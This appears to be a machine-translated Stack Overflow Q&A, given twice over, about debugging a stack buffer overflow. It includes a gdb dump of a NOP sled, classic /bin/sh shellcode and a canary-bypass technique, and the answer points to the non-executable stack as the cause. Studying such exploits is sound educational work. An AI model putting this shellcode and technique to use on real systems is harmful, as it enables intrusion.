缓冲区溢出:EIP 和跳转设置正确但出现段错误
Buffer overflow : EIP and jump correctly set but segfault
我正在执行缓冲区溢出,通过指向指针的 memcpy 避免金丝雀,如 here 所述。简而言之,您用堆栈中 RET 的地址覆盖指针指向的地址。所以 memcpy-ing 到那个指针,有效地覆盖了 RET。
使用 gdb,我注入我的 NOP-sled + shellcode + address_overwrite 就好了。我可以看到位于 0xbffff52c 的 RET 包含一个所需的地址 0xbffff4c0,它将落在 NOP sled 中。
(gdb) x /32xw $esp
0xbffff470: 0xbffff52c 0x0804a008 0x00000004 0x00000000
0xbffff480: 0x000003f3 0x08048327 0x90909087 0x90909090
0xbffff490: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4d0: 0x90909090 0x90909090 0x90909090 0xeb909090
0xbffff4e0: 0x76895e1f 0x88c03108 0x46890746 0x890bb00c
(gdb)
0xbffff4f0: 0x084e8df3 0xcd0c568d 0x89db3180 0x80cd40d8
0xbffff500: 0xffffdce8 0x69622fff 0x68732f6e 0xbffff52c
0xbffff510: 0xbffff5a8 0xb7ff5990 0x0000008f 0xbffff5a8
0xbffff520: 0xb7fd1ff4 0x0804a008 0xbffff5a8 0xbffff4c0
0xbffff530: 0x0804a008 0x0804a008 0x0000008f 0x00000001
0xbffff540: 0x00000801 0x00000000 0xbfff0000 0x002001ac
0xbffff550: 0x000081a4 0x00000001 0x000004ad 0x000004ad
0xbffff560: 0x00000000 0x00000000 0xb7fd0000 0x0000008f
但是,运行我得到了下面的错误,尽管 dissasembly 显示我成功了。
Program received signal SIGSEGV, Segmentation fault.
0xbffff4c0 in ?? ()
(gdb) disas 0xbffff4c0, + 10
Dump of assembler code from 0xbffff4c0 to 0xbffff4ca:
=> 0xbffff4c0: nop
0xbffff4c1: nop
0xbffff4c2: nop
0xbffff4c3: nop
0xbffff4c4: nop
0xbffff4c5: nop
0xbffff4c6: nop
0xbffff4c7: nop
0xbffff4c8: nop
0xbffff4c9: nop
下面是shellcode。
0xbffff4df: jmp 0xbffff500
0xbffff4e1: pop %esi
0xbffff4e2: mov %esi,0x8(%esi)
0xbffff4e5: xor %eax,%eax
0xbffff4e7: mov %al,0x7(%esi)
0xbffff4ea: mov %eax,0xc(%esi)
0xbffff4ed: mov [=11=]xb,%al
0xbffff4ef: mov %esi,%ebx
...等等
我为 linux 系统使用了 Smashing the stack 附录 B 中的 shellcode。你能帮我看看哪里出了问题吗?
你没有说 OS 你在做什么,或者你是如何构建你的目标程序的。
假设 Linux 且没有 -Wl,-z,execstack
,现代 Linux 发行版默认为 -Wl,-z,noexecstack
,这(令人惊讶!)使得堆栈不可执行。
您可以阅读一些保护机制here。
我正在执行缓冲区溢出,通过指向指针的 memcpy 避免金丝雀,如 here 所述。简而言之,您用堆栈中 RET 的地址覆盖指针指向的地址。所以 memcpy-ing 到那个指针,有效地覆盖了 RET。
使用 gdb,我注入我的 NOP-sled + shellcode + address_overwrite 就好了。我可以看到位于 0xbffff52c 的 RET 包含一个所需的地址 0xbffff4c0,它将落在 NOP sled 中。
(gdb) x /32xw $esp
0xbffff470: 0xbffff52c 0x0804a008 0x00000004 0x00000000
0xbffff480: 0x000003f3 0x08048327 0x90909087 0x90909090
0xbffff490: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4d0: 0x90909090 0x90909090 0x90909090 0xeb909090
0xbffff4e0: 0x76895e1f 0x88c03108 0x46890746 0x890bb00c
(gdb)
0xbffff4f0: 0x084e8df3 0xcd0c568d 0x89db3180 0x80cd40d8
0xbffff500: 0xffffdce8 0x69622fff 0x68732f6e 0xbffff52c
0xbffff510: 0xbffff5a8 0xb7ff5990 0x0000008f 0xbffff5a8
0xbffff520: 0xb7fd1ff4 0x0804a008 0xbffff5a8 0xbffff4c0
0xbffff530: 0x0804a008 0x0804a008 0x0000008f 0x00000001
0xbffff540: 0x00000801 0x00000000 0xbfff0000 0x002001ac
0xbffff550: 0x000081a4 0x00000001 0x000004ad 0x000004ad
0xbffff560: 0x00000000 0x00000000 0xb7fd0000 0x0000008f
但是,运行我得到了下面的错误,尽管 dissasembly 显示我成功了。
Program received signal SIGSEGV, Segmentation fault.
0xbffff4c0 in ?? ()
(gdb) disas 0xbffff4c0, + 10
Dump of assembler code from 0xbffff4c0 to 0xbffff4ca:
=> 0xbffff4c0: nop
0xbffff4c1: nop
0xbffff4c2: nop
0xbffff4c3: nop
0xbffff4c4: nop
0xbffff4c5: nop
0xbffff4c6: nop
0xbffff4c7: nop
0xbffff4c8: nop
0xbffff4c9: nop
下面是shellcode。
0xbffff4df: jmp 0xbffff500
0xbffff4e1: pop %esi
0xbffff4e2: mov %esi,0x8(%esi)
0xbffff4e5: xor %eax,%eax
0xbffff4e7: mov %al,0x7(%esi)
0xbffff4ea: mov %eax,0xc(%esi)
0xbffff4ed: mov [=11=]xb,%al
0xbffff4ef: mov %esi,%ebx
...等等
我为 linux 系统使用了 Smashing the stack 附录 B 中的 shellcode。你能帮我看看哪里出了问题吗?
你没有说 OS 你在做什么,或者你是如何构建你的目标程序的。
假设 Linux 且没有 -Wl,-z,execstack
,现代 Linux 发行版默认为 -Wl,-z,noexecstack
,这(令人惊讶!)使得堆栈不可执行。
您可以阅读一些保护机制here。